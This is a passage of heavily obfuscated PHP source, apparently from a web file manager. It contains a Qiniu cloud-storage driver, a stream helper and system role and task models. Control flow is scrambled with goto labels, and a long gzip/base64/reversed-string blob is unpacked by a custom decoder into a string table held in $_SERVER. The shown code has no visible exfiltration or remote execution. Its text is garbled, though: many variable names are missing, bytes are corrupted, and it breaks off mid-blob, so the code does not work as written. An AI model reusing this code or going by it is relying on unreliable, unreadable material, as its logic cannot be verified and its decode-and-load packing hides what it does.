($this->_isFolder($Ӡ)) { return $this->getPathOuter($Ӡ); } $ͫ = $Ӡ . $ꡨ[8]; $ = get_path_this($Ӡ); $Ǹ = $ͫ . $; if (!$this->mkfile($Ǹ)) { return !1; } if (!$this->moveFile($Ǹ, $ͫ)) { $this->delFile($Ǹ); return !1; } return $this->getPathOuter($Ӡ); } public function copyFile($, $) { $䭧 = $this->bucketManager->copy($this->bucket, $, $this->bucket, $, !0); return $䭧 ? !1 : $this->getPathOuter($); } public function moveFile($, $) { $եă = $this->bucketManager->move($this->bucket, $, $this->bucket, $, !0); return $եă ? !1 : $this->getPathOuter($); } public function delFile($զ) { if (!$this->exist($զ)) { return !0; } $ = $this->bucketManager->delete($this->bucket, $զ); return $ ? !1 : !0; } public function delFolder($ָ) { $ =& $_SERVER[]; if (!$this->exist($ָ)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($ָ); $this->listItemCache = !0; $ = trim($ָ, $[8]) . $[8]; if (!empty($ָ) && $ָ !== $[228] && !in_array($, $[$[85]])) { $[$[85]][] = $; } $޷ = $this->delByBatch($[$[86]]); if (!$޷) { return !1; } $޷ = $this->delByBatch($[$[85]]); if (!$޷) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { $̀ = $this->bucketManager->buildBatchDelete($this->bucket, $); list($߾, $) = $this->bucketManager->batch($̀); if ($) { return !1; } } return !0; } public function rename($͡, $ۊ) { return $this->renameObject($͡, $ۊ); } public function fileInfo($, $ֆ = false, $ખ͖ = array()) { $ݿ =& $_SERVER[]; $IJʯ = array($ݿ[32] => $this->pathThis($), $ݿ[87] => $this->getPathOuter($ݿ[8] . $), $ݿ[33] => $ݿ[230], $ݿ[79] => isset($ખ͖[$ݿ[1521]]) ? $ખ͖[$ݿ[1521]] : 0, $ݿ[169] => $this->ext($)); if ($ֆ) { return $IJʯ; } $IJʯ[$ݿ[231]] = $IJʯ[$ݿ[88]] = 0; $IJʯ[$ݿ[232]] = $IJʯ[$ݿ[233]] = !0; if (empty($ખ͖)) { $ખ͖ = $this->objectMeta($); if (!$ખ͖) { return $IJʯ; } } if (isset($ખ͖[$ݿ[234]]) && $ખ͖[$ݿ[234]]) { $IJʯ[$ݿ[235]] = $ખ͖[$ݿ[234]]; } if (isset($ખ͖[$ݿ[245]]) && $ખ͖[$ݿ[245]]) { $IJʯ[$ݿ[235]] = $ખ͖[$ݿ[245]]; } if (isset($ખ͖[$ݿ[1522]])) { $IJʯ[$ݿ[88]] = substr($ખ͖[$ݿ[1522]] . $ݿ[12], 0, 10); } if (isset($ખ͖[$ݿ[1521]])) { $IJʯ[$ݿ[79]] = $ખ͖[$ݿ[1521]]; } return $IJʯ; } public function folderInfo($ŗ, $ۿ = false) { $ɿ =& $_SERVER[]; $ = array($ɿ[32] => $this->pathThis($ŗ), $ɿ[87] => $this->getPathOuter($ɿ[8] . $ŗ), $ɿ[33] => $ɿ[78]); if ($ۿ) { return $; } $[$ɿ[231]] = $[$ɿ[88]] = 0; $[$ɿ[232]] = $[$ɿ[233]] = !0; $ŗ = rtrim($ŗ, $ɿ[8]) . $ɿ[8]; $ = $this->objectMeta($ŗ); if (isset($[$ɿ[1522]])) { $[$ɿ[88]] = substr($[$ɿ[1522]] . $ɿ[12], 0, 10); } return $; } public function listPath($ۉ, $ˮ = false) { $҅ =& $_SERVER[]; $ = $this->fileList($ۉ, $҅[8], !0); foreach ($[$҅[85]] as $Ԋ => $ȏҮ) { $[$҅[85]][$Ԋ] = $this->folderInfo($ȏҮ, $ˮ); } foreach ($[$҅[86]] as $Ԋ => $ȏҮ) { $[$҅[86]][$Ԋ] = $this->fileInfo($ȏҮ[$҅[97]], $ˮ, $ȏҮ); } return $; } public function has($呑, $״ӓ = false, $ = true) { $͞й =& $_SERVER[]; $呑 = trim($呑, $͞й[8]); $ߠ = empty($呑) && $呑 !== $͞й[228] ? $͞й[12] : $呑 . $͞й[8]; $̈ = $͞й[12]; $߫ = 500; $ = $͞й[8]; $ۤ = $ = 0; while (!0) { check_abort(); list($ͺŘ, $) = $this->bucketManager->listFiles($this->bucket, $ߠ, $̈, $߫, $); if ($) { break; } $̈ = array_key_exists($͞й[1467], $ͺŘ) ? $̈ = $ͺŘ[$͞й[1523]] : $͞й[12]; if ($״ӓ) { if (!empty($ͺŘ[$͞й[1524]])) { $ۤ += count($ͺŘ[$͞й[1524]]); } if (!empty($ͺŘ[$͞й[1525]])) { $ += count($ͺŘ[$͞й[1525]]); } if ($̈ === $͞й[12]) { break; } continue; } if ($) { if (!empty($ͺŘ[$͞й[1524]])) { return !0; } } else { if (!empty($ͺŘ[$͞й[1525]])) { return !0; } } if ($̈ === $͞й[12]) { break; } } if ($״ӓ) { return array($͞й[239] => $ۤ, $͞й[240] => $); } return !1; } public function listAll($) { $멕 =& $_SERVER[]; $鷾 = $this->fileList($, $멕[12], !0); $ = array_to_keyvalue($鷾[$멕[86]], $멕[32]); foreach ($鷾[$멕[85]] as $) { if (is_string($)) { $[$] = array($멕[79] => 0); } } return $this->listAllFiles($, $); } private function fileList($ހ, $ʶ㋩ = '', $ˮ = 0) { $ٔ =& $_SERVER[]; $ހ = trim($ހ, $ٔ[8]); $ = empty($ހ) && $ހ !== $ٔ[228] ? $ٔ[12] : $ހ . $ٔ[8]; $ = $ٔ[12]; $ = 1000; $ߓ = $أڕ = array(); while (!0) { check_abort(); list($, $ȲН) = $this->bucketManager->listFiles($this->bucket, $, $, $, $ʶ㋩); if ($ȲН) { break; } $ = array_key_exists($ٔ[1467], $) ? $ = $[$ٔ[1523]] : $ٔ[12]; $ܴ԰ = isset($[$ٔ[1524]]) ? $[$ٔ[1524]] : array(); $ = isset($[$ٔ[1525]]) ? $[$ٔ[1525]] : array(); foreach ($ܴ԰ as $һŏ) { if ($һŏ[$ٔ[97]] == $) { continue; } $ = $һŏ[$ٔ[97]]; $ʌ = $һŏ[$ٔ[1521]]; $һŏ[$ٔ[79]] = $ʌ; $ = $ʌ == 0 && substr($, strlen($) - 1, 1) == $ٔ[8] ? !0 : !1; $this->cacheMethodInfoSet($, $, $һŏ); if ($) { $ߓ[] = $; continue; } $أڕ[] = $ˮ ? $һŏ : $; } foreach ($ as $) { if ($ == $) { continue; } $ߓ[] = $; $this->cacheMethodInfoSet($, !0); } if ($ === $ٔ[12]) { break; } } $this->cacheMethodInfoSet($ހ, !0); return array($ٔ[85] => $ߓ, $ٔ[86] => $أڕ); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($⯰, $ۦ = '') { $㎿÷ = $this->tempFile($this->pathThis($⯰)); file_put_contents($㎿÷, $ۦ); if ($this->upload($⯰, $㎿÷)) { $this->tempFileRemve($㎿÷); return !0; } return !1; } public function refreshUrls($) { $ݿ =& $_SERVER[]; $ = array(); if (is_array($)) { foreach ($ as $ˡ) { $[] = $this->link($ˡ); } } else { $[] = $this->link($); } $ = new Qiniu\Cdn\CdnManager($this->auth); list($ҟ, $Ҫ) = $->refreshUrls($); if ($Ҫ) { return !1; } return $ҟ[$ݿ[1257]] == $ݿ[826] ? !0 : !1; } public function fileSubstr($ܐ, $, $) { $ =& $_SERVER[]; if (!($㴼 = $this->link($ܐ))) { return !1; } $˞ = !1; if ($ > 0) { $ = $ + $ - 1; $˞ = array($[1526] . $ . $[462] . $); } $ = url_request($㴼, $[261], !1, $˞); return $[$[817]] ? $[$[1280]] : !1; } public function upload($ʮ, $尞, $񢘈 = false, $ۊҩ = REPEAT_REPLACE) { $ = new Qiniu\Storage\UploadManager(); $ = $this->auth->uploadToken($this->bucket, $ʮ); $ܺ = get_file_mime(get_path_ext($尞)); list($ڇ, $) = $->putFile($, $ʮ, $尞, null, $ܺ); return $ ? !1 : $this->getPathOuter($ʮ); } public function uploadFormData($ʠ, $ = 3600) { return $this->uploadToken($ʠ, $); } public function multiUploadFormData($, $䱍 = 3600) { return $this->uploadToken($, $䱍); } private function uploadToken($, $ = 3600) { $ρ =& $_SERVER[]; $ҕ = $; $Ι = array($ρ[1527] => $ρ[1528]); $ҵ = $; $қ = $this->auth->uploadToken($this->bucket, $ҵ, $ҕ, $Ι, !0); $󳋟 = empty($this->region) || $this->region == $ρ[1529] ? $ρ[12] : $ρ[462] . $this->region; $Ŵ = http_type() . "\x3a\57\57\x75\x70\x6c\157\141\x64{$󳋟}\x2e\161\x69\156\x69\165\160\56\143\x6f\155\x2f"; return array($ρ[1530] => $қ, $ρ[1531] => $Ŵ); } public function download($, $) { $ = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($))) { return !1; } $⟎ = 0; $ = 1024 * 200; $ = fopen($, $_SERVER[][1532]); while (!0) { $͔ = $this->fileSubstr($, $⟎, $); if ($͔ === !1) { return !1; } fwrite($, $͔); $⟎ += $; if (strlen($͔) < $) { break; } } fclose($); return $; } public function link($, $ם = '') { if (!$this->isFile($)) { return !1; } $ = $this->getHost() . $_SERVER[][8] . $this->pathEncode($) . $ם; return $this->auth->privateDownloadUrl($, 3600 * 12); } public function fileOut($ٴ䆉, $ = false, $ = false, $Ԯ = '') { $໳ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($ٴ䆉, $, $, $Ԯ); } if (!$) { $ = $this->pathThis($ٴ䆉); } $ = $ ? $໳[1533] . rawurlencode($) : $໳[12]; $ = $this->link($ٴ䆉, $); $this->fileOutLink($); } public function fileOutServer($, $ = false, $Ҽ = false, $̢Ҝ = '') { parent::fileOut($, $, $Ҽ, $̢Ҝ); } public function fileOutImage($ڼ, $ڑ = 250) { if ($this->size($ڼ) > 1024 * 1024 * 20) { return $this->fileOutImageServer($ڼ, $ڑ); } $ = $this->link($ڼ, $_SERVER[][1534] . $ڑ); $this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($) { $ᵻ =& $_SERVER[]; $ = $this->objectMeta($); return isset($[$ᵻ[245]]) ? $[$ᵻ[245]] : !1; $վ = $this->link($, $ᵻ[1535]); } public function size($űя) { $ɀ = $this->objectMeta($űя); return $ɀ ? $ɀ[$_SERVER[][79]] : 0; } public function info($΍) { if ($this->isFolder($΍)) { return $this->folderInfo($΍); } else { if ($this->isFile($΍)) { return $this->fileInfo($΍); } } return !1; } public function exist($׉ܥ) { return $this->isFile($׉ܥ) || $this->isFolder($׉ܥ); } public function isFile($É) { return !$this->isFolder($É) && $this->objectMeta($É); } public function isFolder($ۜ) { return $this->cacheMethod($_SERVER[][179], $ۜ); } protected function objectMeta($ՋӐ) { return $this->cacheMethod($_SERVER[][181], $ՋӐ); } protected function _objectMeta($ù) { $ڟ =& $_SERVER[]; list($П, $҂) = $this->bucketManager->stat($this->bucket, $ù); if ($П) { $П[$ڟ[79]] = intval($П[$ڟ[1521]]); } return $П; } protected function _isFolder($݁) { $ =& $_SERVER[]; if ($݁ == $[12] || $݁ == $[8]) { return !0; } list($䑌, $嵢) = $this->bucketManager->listFiles($this->bucket, trim($݁, $[8]) . $[8], $[12], 1, $[8]); return !empty($䑌[$[1524]]) || !empty($䑌[$[1525]]) ? !0 : !1; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($̀, $η = 0) { parent::__construct(); $this->source = $̀; $this->sourceSize = $η; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ט = false) { return $this->sourceSize; } public function getContent($ = false) { return $this->fileSubstr($, 0, $this->sourceSize); } public function fileSubstr($ā = false, $֛ = 0, $㧪 = 0) { if (!$㧪) { $㧪 = $this->sourceSize; } $鏄 = $this->sourceSize - $֛; if ($㧪 >= $鏄) { $㧪 = $鏄; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $֛, $㧪); } if ($this->sourceType == self::TYPE_FILE) { if ($㧪 <= 0) { return $_SERVER[][12]; } $ = ftell($this->source); fseek_64($this->source, $ + $֛); $ = @fread($this->source, $㧪); fseek_64($this->source, $); return $; } } public function hashMd5($ = false) { return md5($this->getContent()); } public static function hash($禇, $ = 0) { $Ȓ = new PathDriverStream($禇, $); return $Ȓ->hashSimple($禇); } public static function md5($Ӹ, $빿 = 0) { $ = new PathDriverStream($Ӹ, $빿); return $->hashMd5($Ӹ); } } goto Dȸ; bŝ: class SystemRecordModel extends ModelBaseLight { } class SystemRoleModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\x65\155\56\162\x6f\154\145\114\x69\163\164"; public $field = array("\156\141\155\x65", "\x61\x75\x74\x68", "\154\x61\142\145\x6c", "\x64\x69\163\x70\x6c\141\x79", "\163\x79\x73\164\x65\155", "\144\x65\163\x63", "\151\x67\x6e\157\x72\145\105\170\x74", "\x69\147\x6e\x6f\162\x65\106\x69\154\x65\123\151\172\x65", "\x61\144\155\x69\x6e\151\x73\x74\162\141\x74\157\162", "\x73\157\x72\164"); public function listData($ߛ = false, $ = "\163\x6f\x72\x74", $ŗ = false) { $ȵ =& $_SERVER[]; $Ș = parent::listData($ߛ, $, $ŗ); if (!$ߛ) { foreach ($Ș as $Ä => $) { if ($[$ȵ[2170]] == 1) { $Ș[$Ä][$ȵ[526]] = LNG($ȵ[2436]); } } } return $Ș; } public function update($, $) { $ک =& $_SERVER[]; $Ŝ = parent::listData($); $蔟 = $this->findByName($[$ک[32]]); if (!$Ŝ || $蔟 && $蔟[$ک[475]] != $Ŝ[$ک[475]]) { return !1; } if ($蔟[$ک[2170]] == 1) { $ = array($ک[32] => $[$ک[32]], $ک[1985] => $[$ک[1985]]); } $this->filterAuth($[$ک[487]]); return parent::update($, $); } public function remove($⽐) { $˦ = parent::listData($⽐); if (!$˦ || $˦[$_SERVER[][191]]) { return !1; } return parent::remove($⽐); } public function add($꒘) { $ =& $_SERVER[]; $ = $꒘[$[32]]; if ($this->findByName($)) { return !1; } $Đ = array($[494] => $, $[1968] => $[12], $[1964] => $[1972], $[2437] => 1, $[1967] => 0, $[2438] => 0, $[1966] => $this->getSort()); $꒘ = array_merge($Đ, $꒘); $this->filterAuth($꒘[$[487]]); return parent::insert($꒘); } private function getSort() { $ꊵ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $ꊵ[12], $ꊵ[1986]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$意) { $ۤ =& $_SERVER[]; $ꕄ = array(); $ = array_filter(explode($ۤ[50], $意)); foreach ($ as $意) { $ = explode($ۤ[10], $意); if ($[0] == $ۤ[2439] && $[1] != $ۤ[1268]) { $렍 = $[0] . $ۤ[10] . $[1] . $ۤ[2440]; if (!in_array($렍, $)) { $ꕄ[] = $렍; } } $ꕄ[] = $意; } $意 = implode($ۤ[50], $ꕄ); } public function findRoleDefault() { $ط =& $_SERVER[]; $ = parent::listData(); $ = !1; foreach ($ as $) { if (!$ || $[$ط[1984]] == $ط[228] || $[$ط[2170]] == 1) { continue; } if (strstr($[$ط[487]], $ط[2441])) { continue; } if (!strstr($[$ط[487]], $ط[2442])) { continue; } if (!$) { $ = $; continue; } $퟼ = explode($ط[50], $[$ط[487]]); $֚ = explode($ط[50], $[$ط[487]]); if (count($퟼) > count($֚)) { $ = $; } } return $ ? $[$ط[475]] : $ط[12]; } public function sort($Դ, $ć) { return parent::update($Դ, $ć); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\123\171\163\164\145\x6d\x2e\x74\141\x73\x6b\x4c\x69\163\x74"; public $field = array("\156\x61\x6d\x65", "\x74\171\x70\145", "\x65\166\x65\x6e\164", "\x74\x69\155\145", "\x64\x65\x73\143", "\163\x79\x73\164\x65\155", "\x65\156\x61\x62\x6c\145", "\x6c\141\x73\164\122\165\x6e", "\x73\157\162\x74"); public function listData($ = false, $ە = "\x73\x6f\x72\164", $ۯ = false) { return parent::listData($, $ە, $ۯ); } public function add($) { $ =& $_SERVER[]; $ = $this->findByName($[$[32]]); if ($) { return !1; } $[$[1714]] = 0; $[$[1986]] = $this->getSort(); return parent::insert($); } private function getSort() { $՚ŀ =& $_SERVER[]; $ڦ = parent::listData(); $ɮ = array_to_keyvalue($ڦ, $՚ŀ[12], $՚ŀ[1986]); return empty($ɮ) ? 0 : max($ɮ) + 1; } public function update($, $) { $襢ڗ =& $_SERVER[]; $ޖ = $this->listData($); $ = $this->findByName($[$襢ڗ[32]]); if (!$ޖ || $ && $Â[$襢ڗ[475]] != $ޖ[$襢ڗ[475]]) { return !1; } return parent::update($, $); } public function remove($ן, $ޓچ = false) { $嶌Ж =& $_SERVER[]; $ᯞ = $this->listData($ן); if (!$ᯞ) { return; } if (!$ޓچ && $ᯞ[$嶌Ж[191]] == $嶌Ж[91]) { return !1; } return parent::remove($ן); } public function enable($, $¾) { return $this->update($, array($_SERVER[][2431] => $¾)); } public function run($) { return $this->update($, array($_SERVER[][2443] => time())); } } goto F񕄥; C: $fileSize = strrev(base64_decode($_SERVER[ۏԅ][0])); function binCheckNeq($, $ƠՖ) { return $ != $ƠՖ; } $_SERVER[$_SERVER[ۏԅ][1]] = $fileSize($_SERVER[$_SERVER[ۏԅ][2]]); goto d廸; dҲ: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define(strrev('‹'), "\xee\xc5\x97\x9d\x86\xf7"); $_SERVER[] = explode("\174\4\174\2\174\1", gzinflate(substr("\37\213\10\0\0\0\0\0\0\23\305\175\11\174\33\305\365\60\155\51\20\316\36\224\102\57\66\206\340\43\72\354\334\161\342\4\131\226\143\21\131\162\44\71\7\266\331\254\245\265\265\261".strrev('~JsxW-;(ZPrڹ@ @(-_p9+U').base64_decode('9/t9gURzvJmd4817b968efPi5nt/f9btaw5c88U1X3hvw4v3PfQ7Gkb/fRn9kvDx5x1yAA==')."\371\363\365\363\66\324\324\264\315\70\164\162\364\360\315\167\154\323\156\321\266\151\33\142\221\307\237\10\37\361\324\55\247\204\306\156\170\174\144\354\13\7\334\273\367\327\305\106\4\114\313\66"."\xd2\x1f\x25\x6f\xda\x8a\x3e\x6c\x58\xb6\x45\x13\x52\x66\xbe\xcf\xe8\xa7\x61\x23\x4f\x7f\xfd\xf4\xa7\x33\x1e\x29\xea\x39\xd3\xd6\x69\xd4\x47\x7f\x54\x68\x17\xf9\xd7\x5a\x99\x35\x58\xbe\x1a\x8d\x25\xd5\x44\x67".strrev('rje":j"z 0Z\\j_ZT!g?9F(GG')."\x59\x47\x8\x20\x7a\xd5\x95\x25\xbd\x38\x42\x63\x24\x98\xb0\xb5\xa2\x9d\x34\x72\x3a\x87\x18\x2a\xf2\x76\x35\x87\x16\x84\xa3\x4a\x32\x1e\x88\x26\x2\xc1\x64\x38\x16\xa5\xc9\xc1\x58\x7b\x7b\x38\x59\x9e\x1e\x8f"."\105\42\315\201\340\302\362\234\216\170\140\101\173\100\101\355\313\352\252\221\357\63\153\224\345\64\147\271\122\113\3\255\206\236\115\323\140\136\143\315\261\107\12\20\112\362\20\232\246\174\51\233".base64_decode('pZEoD6X1Pq2UhdFqkSOFopHTWKcX6iM8lQa0km0a+RSNhIbtoibSUVtTaKL1PFSVCEVCwQ==')."\xa4\x82\x1b\xa8\xb4\xc6\x63\xed\xa\x4c\x42\x4e\xb3\x6c\xbd\xa8\x2c\x69\xb\xc5\x43\xa\x6e\x74\x53\x35\xe9\x6b\xb5\x2\xf8\x12\x45\x43\xa1\x4\x22\x11\x65\xbc\x1a\x6c\x3d\x57\x60\xd5\xd0\x32\x15\x2a\x8b\xc5"."\x5b\x42\x71\xa5\x79\x99\x22\x46\x28\x65\xe6\x72\x66\xde\x87\x6a\x41\x33\x69\x4b\x4d\xd\xc5\xe3\x34\xe0\x1\xf4\x8e\x84\xf1\xa4\x41\x24\xd6\xda\x9a\x8\xf1\x18\x74\x6e\x51\x4\xb5\x64\x2a\xe0\xa7\x23\x96\xee"."\313\332\352\240\226\55\61\64\35\240\277\325\360\3\277\246\5\250\273\322\310\33\45\100\123\250\302\64\371\262\202\100\211\101\353\54\105\117\103\40\207\312\233\120\256\27\322\172\31\324\12\26".base64_decode('MNAKHaTBpnn0dw6U71Vxnl60VT2fMtNGHtbxfMBHzc60FA0EQON9ZjbNwpaxCnrZZ2T1aA==')."\51\47\203\360\150\52\143\144\323\105\266\364\76\13\222\106\43\174\45\143\130\21\53\240\226\160\42\140\364\215\210\245\210\341\72\170\256\145\226\212\51\75\214\226\16\215\67\100\262\156\333\250"."\163\154\100\314\316\102\326\324\322\11\275\310\273\146\230\255\250\242\130\311\226\23\113\4\254\325\54\346\132\20\321\200\357\243\5\143\164\126\310\30\140\113\46\55\215\230\277\246\353\164\357\47"."\75\135\47\243\177\152\201\52\166\103\233\62\172\66\253\352\303\72\254\251\134\172\272\305\6\303\157\365\32\171\77\112\241\321\160\114\315\150\126\246\75\75\135\45\245\30\261\115\353\303\276\102"."\xa6\x0\xb\x9e\xaf\xf1\x6e\x7\xce\xe3\xa1\x8b\x9a\x76\x48\x22\xd9\x59\x33\xa5\x65\xe5\x2e\xd2\x70\xc6\xb6\xb\x9\x3d\x9f\xc6\x23\x1\x5d\x31\x87\xf2\x64\xa4\xa\xba\xe\x40\x2d\x1e\x25\xad\xb4\x2b\xcb\x94"."\266\106\243\321\142\5\163\131\36\142\275\343\151\26\117\264\207\331\164\246\373\0\133\31\307\250\202\17\32\26\41\176\142\345\152\205\102\326\110\151\266\141\346\375\146\312\326\155\257\145\27\165".base64_decode('DWoMpFK6ZXmDZt4umllvIJs1h7yxotFv5BuVOqDDKBOtdy+mjY2wiKvmKBhx8Gfqmkp2nw==').base64_decode('dxZbnBy6qOWtPr3oDcHKaFRQYzmBZGAthlUwLQM3r1HRbFtLZTBxEdU3fQa8kc8aeb0cFg==')."\125\242\173\73\212\132\177\116\153\124\12\245\136\64\0\260\40\41\55\205\41\144\140\30\200\106\45\247\15\173\265\176\126\123\150\270\140\24\165\213\365\132\131\320\236\4\214\352\363\266\343\205".base64_decode('ZOhpbwJRb6hsav00BeGKwvJoalsy2aGGWxF7jobU9kAy2Aa121o/qzqCaDKvkiUu9aIFhQ==')."\261\51\212\72\47\22\73\314\41\275\210\76\334\74\322\250\14\230\351\136\163\330\307\262\60\160\2\121\26\6\214\347\267\140\173\343\132\276\37\167\243\167\304\326\55\67\155\152\106\314\334\327".base64_decode('R1evr1fvM4vQG2uw3zn4ET3fb2dY3YlQfHEoriZircklgTjw/jzCnGHWGvz1rDeup9Egpg==')."\154\126\116\53\210\321\137\352\305\13\6\177\234\345\342\105\304\362\42\341\5\170\354\132\274\26\2\362\312\120\254\356\210\221\63\160\367\154\236\103\6\33\11\6\13\240\101\176\322\347\246\156"."\xab\xae\xa6\x3b\x3d\xb9\xd6\x8b\xfe\xad\xab\xed\xea\x6e\xf1\xd5\xf5\xcc\xf7\x1b\xa2\x8c\xbf\xc1\xd7\xa0\x4c\xa9\x9f\xa1\x74\x20\x49\xc5\xd0\xb2\xa\x74\xba\xc\xa2\x5e\x89\x2d\x74\xe\x8b\xc0\xf0\xbc\x99\xd7".base64_decode('Ky4shEimpXvbdA0RaTQRjnnxsG/R+GeMLuaVEi1xzQtNjIcWdYYSSbU9lGyLtUDzQwEI5Q==')."\x51\x61\xd2\x5e\x36\xc7\x58\x30\x3\xb6\x98\x87\x6a\xf5\x61\x89\x87\x8\x5e\x90\x92\x7\x84\x94\x8b\x9a\x43\x8c\xfa\xbb\x10\x28\x98\xd1\x53\x3\xe3\xe4\xa1\x10\xf4\xc6\xa4\x74\x89\x4d\x5d\x17\xfd\xe9\x1\x6c"."\xee\xa1\x3f\xaa\x61\xb5\x4a\x7c\x13\x47\x39\x7d\x55\xcd\xde\x15\x8\xb3\xda\x75\xc6\x44\xe0\x4b\xe1\x1c\x5a\xc3\xa2\xe5\xaa\x93\xc9\xb1\x6e\xb5\xb\x4c\x47\x4b\x66\x89\x91\xe6\x5c\x10\x45\xdb\x74\xa3\x3f\x3"."\xd\x35\x70\x75\x29\x33\x6b\x16\xb5\x2c\xa6\xfd\x4c\x70\xed\x37\x80\xc\x17\xb2\x25\x84\xf7\x7e\x5c\x71\x32\x53\xca\xf5\x2\xa7\x42\x63\xd4\xaf\xdb\x42\xa6\xb4\x46\x90\xe0\x95\x63\x1c\x19\xb1\x75\x3b\xdc\xe2".strrev('sH*HsfFn2w!iN=ze:P|}W')."\xe\xe6\x71\x4d\x6e\xba\x80\xa7\x27\xeb\xcb\xa1\x4a\x48\x9d\x41\x93\x73\x65\xba\x7d\x99\xe3\xe4\x71\x8a\x5e\x2c\x9a\xc5\x89\x0\x41\xc2\xa\x61\x94\x78\xba\xa0\x72\x9b\x8b\x1d\x16\x22\x1\x2c\x9c\x31\xb9\x98"._kodDe('MR9PWVEw4RSsVjqf8jN+h8+fvBG++43WV5JhMVGNVyJvPPnzNvCAdunVlq5swOE7UxlQHYE=')."\77\75\115\271\237\43\211\56\133\232\124\307\352\55\332\46\316\54\72\40\21\46\146\114\150\31\232\172\350\125\211\167\217\165\64\255\147\165\206\105\31\235\11\20\365\0\206\206\237\343\130\37".base64_decode('R3a0RUCpQnIzrDgqidk9iy/BeyqRgGUeQB4RzKKpi5FVI+IdRb3PGGYEYthu14oDrGOopA==')."\130\157\70\42\255\305\326\316\110\104\15\306\242\111\264\45\243\51\113\342\341\144\210\321\241\100\213\32\10\166\100\114\120\66\56\226\311\202\5\115\31\234\2\170\202\32\341\27\22\20\142\301"."\5\63\217\350\47\220\40\257\330\260\225\145\245\205\200\0\10\42\204\12\227\234\200\70\175\156\225\67\207\210\207\227\267\311\51\236\51\300\356\251\224\27\206\151\112\363\311\301\203\207\26\62"."\223\13\73\142\11\50\60\37\247\42\331\274\227\257\267\216\116\310\312\111\50\262\40\4\211\207\2\126\145\64\220\270\3\113\22\214\205\227\20\174\321\130\245\211\56\315\147\355\141\35\311\145".base64_decode('hajv7JVXzHzJ8upYyhBfmOZtaw8EvYm2wJTpM2jqsly6O9lmWN2n8jgM45A1TS3qiOCwDw==').base64_decode('TalvYOQASUlS85Z5c15cCx5BX319Patr8gwlg+gc5yZpMkts31VKDbAFo6WY6Iu5jOUdMg==')."\30\145\76\221\357\22\116\54\307\236\23\235\374\20\252\50\21\116\254\152\51\374\61\25\325\150\227\54\171\244\320\262\112\243\102\6\223\350\151\252\226\355\107\203\156\147\162\162\242\230\170\32".base64_decode('16l4yOeOjyIeWyeOy00qmEgghW4srdiGpZXasNTVhqXlbaBJltGfR71kzA2mYwGeDmlaHQ==')."\323\74\254\242\202\52\254\41\125\356\12\14\22\164\103\316\151\343\324\214\165\262\275\145\72\153\107\240\375\124\157\113\200\321\202\271\363\21\212\52\203\130\323\144\346\233\252\33\174\365\325\12"."\333\61\67\125\167\46\133\321\376\141\376\274\103\347\6\315\134\1\23\306\166\274\111\304\113\210\156\24\347\301\362\230\213\145\63\26\351\340\53\214\306\103\111\15\230\343\134\277\14\67\327\77"."\136\255\200\154\71\155\225\231\107\350\215\230\146\316\227\2\34\306\142\50\347\101\70\142\361\130\262\55\34\135\250\266\307\132\102\21\65\34\105\162\132\262\74\275\263\103\164\136\116\157\216\45".base64_decode('2xypnUhSWxyIhN3goaXhRDJRMQuldYZcOS3Nakc81BpeyqOt4VCkJaEGA8E2ARMNtEMEiQ==')."\x44\x7a\x36\x6d\xf9\x9d\xf0\x2a\x12\x39\x13\x5c\x9d\xa6\xc2\x84\x41\xcc\xa1\xc1\x52\x99\x6e\x46\x15\xb4\x18\x6d\x5f\x74\x40\x60\xe8\x2e\x56\x48\x92\x9e\xa8\x6c\xd1\x97\xb8\x0\xc9\xf6\xea\x39\xc6\x6c\xd1\xd6"."\xb\x66\x84\xed\x3b\x6a\xe8\x4f\xad\x12\x48\x28\x76\x41\xe5\x6c\xb5\x77\x84\x7\x49\x37\x58\x1c\x9\x1b\xf0\x7d\x5\xc4\xdf\xb2\x16\xa8\x18\xa6\x59\xda\xe4\x54\x4e\x8\xf4\xd9\x5c\xe0\x74\xc5\x11\x13\x11\x79".strrev('Tka(`PcėTuQքsXh,@|́0Dh')."\xe0\xec\x5a\xd6\xd0\x98\xe\x4b\xc\xfa\xa\x93\xd\xe5\x49\x40\x53\xd\x2e\xd2\xe7\xd9\x70\xf7\x62\xe9\x86\xc9\xb5\x2c\xd0\x87\xd6\x3\x93\x4c\xcc\x12\xff\x4c\xaf\x69\x66\x19\xa3\xcb\x31\xc1\xa\x11\x1b\xae".base64_decode('81xhMewYZrx6MucJgLOxhaGoylCKxiQ0pAmheDwWh5GwzQGm76KZ8VCCsUnMfww2Tn7fZA==')."\x40\x5f\x1d\x9\x71\xf0\x79\xff\x69\xdd\x43\x93\x6b\xba\xbc\x93\x7d\x3d\x28\x50\x5b\x77\x32\x8d\x42\xac\xdb\xe7\x88\x32\xd9\xba\x54\xe4\xa5\xf1\x52\xaf\xb1\xe6\xd7\x36\x76\xfb\xbb\xfd\x35\xf3\x1b\xbb\x2\xde".strrev('Bw۱׍}\\\'yo')."\66\337\376\373\53\316\37\362\76\264\245\353\273\263\346\244\175\333\123\351\266\376\11\361\27\112\47\14\77\146\317\74\340\254\122\44\253\234\71\363\315\47\2\307\36\173\224\367\256\365\236\375".base64_decode('t1x45dZcuO4LN/xs6bKf1L/U2ZudOWQd9bfDvvvIHzZfNPmQL1Y9ub7/8LNuNWZfdOLoAw==')."\xcf\x6f\x5c\xe6\x5b\xba\xf9\xf2\xb6\x67\x2f\